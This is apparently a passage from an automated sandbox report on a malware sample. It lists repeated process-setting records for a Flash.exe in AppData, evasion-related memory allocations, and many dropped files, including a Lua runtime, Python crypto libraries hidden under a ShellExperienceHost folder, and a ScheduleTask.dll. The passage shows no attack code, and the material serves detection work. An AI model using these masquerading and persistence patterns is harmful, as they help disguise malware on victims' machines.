Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\lua\lua.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 5C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 5180000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 6A90000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 6AF0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 8D70000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 9090000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: 90B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: A1A0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: A1C0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: A1E0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: A200000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: AF70000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: AF90000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B030000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B0B0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B0F0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B110000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B130000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B150000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B170000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B1B0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B1D0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B1F0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B210000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B230000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Memory allocated: B250000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\libcrypto-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psutil_windows.cp37-win_amd64.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Dropped PE file which has not been started: C:\ProgramData\lua\mime\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Dropped PE file which has not been started: C:\ProgramData\lua\lua51.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_openssl.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-64.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Dropped PE file which has not been started: C:\ProgramData\lua\alien\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pywintypes37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\lua\ScheduleTask.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-64.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Dropped PE file which has not been started: C:\ProgramData\lua\zip.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Dropped PE file which has not been started: C:\ProgramData\lua\socket\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\libssl-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pythoncom37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	Dropped PE file which has not been started: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
